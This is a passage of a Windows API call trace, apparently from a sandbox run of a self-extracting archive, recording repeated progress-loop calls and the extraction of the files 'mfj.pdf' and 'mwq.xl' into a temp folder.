[0068.335] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.335] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.335] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.335] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.335] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.336] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.336] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.336] GetTickCount () returned 0x1fb3f [0068.336] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.336] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.336] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.336] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.336] GetTickCount () returned 0x1fb3f [0068.336] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.338] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.338] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.338] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.338] GetTickCount () returned 0x1fb3f [0068.338] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.338] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.338] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.339] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.339] GetTickCount () returned 0x1fb3f [0068.339] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.339] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.339] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.339] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.339] GetTickCount () returned 0x1fb3f [0068.339] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.339] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.339] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.339] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.339] GetTickCount () returned 0x1fb3f [0068.339] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.339] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.339] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.339] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.339] GetTickCount () returned 0x1fb3f [0068.339] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.339] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.339] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.339] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.339] GetTickCount () returned 0x1fb3f [0068.339] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.339] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.339] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.339] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.339] GetTickCount () returned 0x1fb3f [0068.339] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.339] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.339] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.339] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.339] GetTickCount () returned 0x1fb3f [0068.339] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.339] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.339] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.339] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.339] GetTickCount () returned 0x1fb3f [0068.339] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.339] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.339] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.340] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.340] GetTickCount () returned 0x1fb3f [0068.340] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.340] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.340] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.340] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.340] GetTickCount () returned 0x1fb3f [0068.340] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.340] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.340] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.340] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.340] GetTickCount () returned 0x1fb3f [0068.340] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.340] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.340] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.340] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.340] GetTickCount () returned 0x1fb3f [0068.340] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.340] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.340] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.340] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.340] GetTickCount () returned 0x1fb3f [0068.340] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.340] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.340] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.340] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.340] GetTickCount () returned 0x1fb3f [0068.340] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.340] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.340] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.340] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.340] GetTickCount () returned 0x1fb3f [0068.340] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.340] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.340] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.340] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.340] GetTickCount () returned 0x1fb3f [0068.341] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.341] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.341] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.341] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.341] GetTickCount () returned 0x1fb3f [0068.341] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.341] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.341] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.341] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.341] GetTickCount () returned 0x1fb3f [0068.341] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.341] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.341] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.341] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.341] GetTickCount () returned 0x1fb3f [0068.341] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.341] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.341] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.341] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.341] GetTickCount () returned 0x1fb3f [0068.341] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.341] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.341] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.341] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.341] GetTickCount () returned 0x1fb3f [0068.341] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.341] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x25f, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x25f, lpOverlapped=0x0) returned 1 [0068.342] GetTickCount () returned 0x1fb3f [0068.342] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.342] SetFilePointer (in: hFile=0x1c, lDistanceToMove=868820, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd41d4 [0068.342] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.342] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.342] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.342] CloseHandle (hObject=0x138) returned 1 [0068.343] SetFileAttributesA (lpFileName="mfj.pdf", dwFileAttributes=0x20) returned 1 [0068.343] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd41d4 [0068.343] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.344] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x24, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x24, lpOverlapped=0x0) returned 1 [0068.344] OemToCharA (in: pSrc="mwq.xl", pDst=0x179cc0 | out: pDst="mwq.xl") returned 1 [0068.344] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="mwq.xl", cchCount2=1) returned 1 [0068.344] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="mwq.xl", cchCount2=6) returned 1 [0068.344] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="mwq.xl", cchCount2=-1) returned 1 [0068.344] SetFilePointer (in: hFile=0x1c, lDistanceToMove=868863, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd41ff [0068.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="mwq.xl") returned 7 [0068.344] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x418eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.344] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting mwq.xl") returned 17 [0068.344] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting mwq.xl") returned 1 [0068.344] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.344] OemToCharBuffA (in: lpszSrc="m", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="m") returned 1 [0068.344] CharToOemBuffA (in: lpszSrc="M", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="M") returned 1 [0068.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="mwq.xl") returned 7 [0068.344] FindFirstFileW (in: lpFileName="mwq.xl", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.344] GetLastError () returned 0x2 [0068.344] GetFileAttributesA (lpFileName="mwq.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\mwq.xl")) returned 0xffffffff [0068.344] CreateFileA (lpFileName="mwq.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\mwq.xl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.345] GetFileType (hFile=0x138) returned 0x1 [0068.345] SetFilePointer (in: hFile=0x138, lDistanceToMove=505, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x1f9 [0068.345] SetEndOfFile (hFile=0x138) returned 1 [0068.345] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.345] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x19b, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x19b, lpOverlapped=0x0) returned 1 [0068.345] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.345] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.345] GetTickCount () returned 0x1fb3f [0068.345] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.345] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.345] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.345] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.345] GetTickCount () returned 0x1fb3f [0068.345] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.345] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 